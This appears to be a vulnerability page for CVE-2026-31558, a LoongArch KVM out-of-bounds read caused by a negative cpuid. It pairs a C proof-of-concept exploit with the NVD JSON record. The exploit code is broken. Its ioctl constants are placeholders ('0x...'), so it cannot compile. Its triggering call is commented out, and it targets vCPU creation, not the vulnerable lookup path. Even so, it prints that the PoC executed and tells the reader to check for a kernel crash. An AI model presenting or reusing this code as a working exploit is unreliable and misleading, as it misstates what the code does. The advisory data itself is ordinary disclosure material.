CVE-2026-31558

/* * PoC for CVE-2026-31558 * Triggering out-of-bounds access in kvm_get_vcpu_by_cpuid * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock definitions for demonstration #define KVM_GET_VCPU_MMAP_SIZE 0x... // Actual ioctl ID needed #define KVM_CREATE_VM 0x... #define KVM_CREATE_VCPU 0x... int main() { int kvm_fd, vm_fd, vcpu_fd; // Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm failed"); return -1; } // Create a VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM failed"); close(kvm_fd); return -1; } // Attempt to create a VCPU with a negative ID to trigger the vulnerability // Note: Actual exploitation depends on specific KVM implementation details // This is a conceptual demonstration of passing a negative integer. long negative_cpuid = -1; printf("[+] Trying to trigger vulnerability with cpuid: %ld\n", negative_cpuid); // In a real scenario, the ioctl call would map to the vulnerable function. // vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, negative_cpuid); printf("[+] PoC executed. Check kernel logs for OOPS/Crash.\n"); close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2026-31558", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:30.200", "lastModified": "2026-04-27T20:13:55.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: KVM: Make kvm_get_vcpu_by_cpuid() more robust\n\nkvm_get_vcpu_by_cpuid() takes a cpuid parameter whose type is int, so\ncpuid can be negative. Let kvm_get_vcpu_by_cpuid() return NULL for this\ncase so as to make it more robust.\n\nThis fix an out-of-bounds access to kvm_arch::phyid_map::phys_map[]."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "CD80DE3B-1F52-4735-A373-3F3F2440FA5D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.10:-:*:*:*:*:*:*", "matchCriteriaId": "9EA80796-744E-45F5-8632-2AB4F7889FCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2db06c15d8c7a0ccb6108524e16cd9163753f354", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/47857b05bd50db01e211a1b6f513d57901cd3e6b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/596c3f8069c4792f22fce8c4452f44410032d910", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/878cf6acb4fd8ab4126cf9d369a5bb0e23123418", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}